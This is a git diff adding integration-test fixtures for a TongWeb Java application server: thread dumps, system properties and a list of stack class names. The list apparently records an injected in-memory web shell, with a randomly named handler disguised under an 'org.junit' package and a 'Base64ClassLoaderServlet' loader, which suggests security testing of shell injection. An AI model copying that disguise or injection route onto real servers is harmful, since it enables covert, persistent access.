com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929) + at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99) + at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118) + at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:411) + at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1017) + at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589) + at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1788) + at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1765) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-3" #147 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"ajp-bio-8009-exec-6" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-5" #138 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"snapshot" #106 daemon [TIMED_WAITING] on java.util.TaskQueue@66a74237 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI Reaper" #15 [WAITING] on java.lang.ref.ReferenceQueue$Lock@258a8cfb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-6" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-10" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-9" #142 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-7" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-3" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #119 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"pool-1-thread-1" #85 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@71a54e2e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-35" #98 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d93b1e0 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-2" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.tongweb.monitor.persistence.TimerThread +com.tongweb.netty.channel.nio.NioEventLoop +com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator +com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2 +com.tongweb.tongejb.nio.server.TaskQueue +com.tongweb.tongejb.resource.jdbc.managed.xa.GlobalTransactionServer$1 +com.tongweb.twnt.thor.OpenEJBValve +com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler +com.tongweb.web.oro.http11.AbstractHttp11Processor +com.tongweb.web.thor.authenticator.AuthenticatorBase +com.tongweb.web.thor.connector.CoyoteAdapter +com.tongweb.web.thor.connector.CoyoteWriter +com.tongweb.web.thor.core.ApplicationFilterChain +com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor +com.tongweb.web.thor.core.StandardContextValve +com.tongweb.web.thor.core.StandardEngineValve +com.tongweb.web.thor.core.ThorStandardHostValve +com.tongweb.web.thor.core.ThorStandardServer +com.tongweb.web.thor.core.ThorStandardWrapperValve +com.tongweb.web.thor.startup.Catalina +com.tongweb.web.thor.startup.ThorBootstrap +com.tongweb.web.thor.startup.Tomee +com.tongweb.web.thor.valves.AccessLogValve +com.tongweb.web.thor.valves.ErrorReportValve +com.tongweb.web.websocket.server.WsFilter +com.tongweb.web.webutil.util.net.DefaultServerSocketFactory +com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor +com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout +com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor +com.tongweb.web.webutil.util.net.NioEndpoint$Poller +com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor +com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor +com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker +com.tongweb.web.webutil.util.threads.TaskQueue +org.junit.HjZBH.ErrorTcjhwHandler diff --git a/integration-test/src/test/resources/infos/TongWeb7025ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7025ContainerTestBasicInfo.txt new file mode 100644 index 00000000..8f9f3a7b --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb7025ContainerTestBasicInfo.txt @@ -0,0 +1,1092 @@ +# Generated At 2026-05-24 11:00:51 +SystemProps: +java.vendor: Temurin +openejb.java9.hack: false +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: true +os.name: Linux +openejb.provider.default: com.tongweb.tomee +sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +checkNonXADB: true +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_492-b09 +tomee.version: ${pom.version} +user.name: root +openejb.deployments.classpath.filter.systemapps: false +shared.loader: ${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/,${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/ +openejb.loader: webtier-system +tongweb.home: /opt/tweb7 +java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory +user.language: en +derby.system.home: /opt/tweb7/bin +ibm.stream.nio: true +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 +ignoreSigar: true +openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory +openejb.deployments.classpath: false +tongweb.java: /opt/java/openjdk +java.version: 1.8.0_492 +java.util.logging.manager: com.tongweb.log.TongwebLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +tongweb.util.buf.StringCache.byte.enabled: true +tongweb.upload: /opt/tweb7/temp/upload +java.endorsed.dirs: /opt/tweb7/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web. +file.separator: / +java.specification.name: Java Platform API Specification +tongweb.snapshotinhour: 5 +java.class.version: 52.0 +tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar +tomee.remote.support: false +user.country: US +java.home: /opt/java/openjdk/jre +java.vm.info: mixed mode +shared.path.loader: ${tongweb.home}/lib/app,${tongweb.home}/lib/app/*.jar,${tongweb.base}/lib/app,${tongweb.base}/lib/app/*.jar +os.version: 6.8.0-111-generic +com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +openejb.embedder.source: ThanosServerListener +tongweb.sysapp: /opt/tweb7/applications +path.separator: : +TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar +java.vm.version: 25.492-b09 +bval.in-container: true +com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory +java.awt.printerjob: sun.print.PSPrinterJob +authconfigprovider.factory: false +java.security.policy: /opt/tweb7/conf/tongweb.policy +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit +tongweb.base: /opt/tweb7 +package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web. +tongweb.app: /opt/tweb7/deployment +java.naming.factory.url.pkgs: com.tongweb.naming:com.tongweb.tongejb.core.ivm.naming +openejb.home: /opt/tweb7 +user.home: /root +java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader +openejb.version: ${pom.version} +java.specification.vendor: Oracle Corporation +java.library.path: /opt/tweb7/lib/sigar +java.vendor.url: https://adoptium.net/ +java.vm.vendor: Temurin +common.loader: "${tongweb.home}/lib","${tongweb.home}/lib/*.jar" +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start +java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/sigar/sigar.jar:/opt/tweb7/lib/ejb-agent.jar +com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl +shared.path.apps.loader: {ALL} +tomee.serialization.class.blacklist: - +com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /opt/tweb7/temp +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +switchCharacterEncoding: false +server.loader: +java.rmi.server.hostname: 172.17.0.4 +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext +tongweb.jndi.lookup.relaxVersion: false +user.dir: /opt/tweb7/bin +tongweb.poseidon.master.home: /opt/tweb7/applications/heimdall/ +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +openejb.base: /opt/tweb7 +file.encoding: UTF-8 +tongweb.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +noBanner: true +java.specification.version: 1.8 +master.path: /opt/tweb7 + +=========================================== + +ThreadStacks: +"http-nio-5100-exec-6" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Exec Stream Pumper" #159 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.io.FileInputStream.readBytes(Native Method) + at java.io.FileInputStream.read(FileInputStream.java:255) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read1(BufferedInputStream.java:286) + at java.io.BufferedInputStream.read(BufferedInputStream.java:345) + at java.io.FilterInputStream.read(FilterInputStream.java:107) + at com.tongweb.commons.exec.StreamPumper.run(StreamPumper.java:107) + at java.lang.Thread.run(Thread.java:750) + +"Thread-5" #36 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-9" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-10" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-8" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #87 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44756d80 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-9060-exec-7" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-AsyncTimeout" #115 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1138) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-AsyncTimeout" #101 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1138) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-8" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at 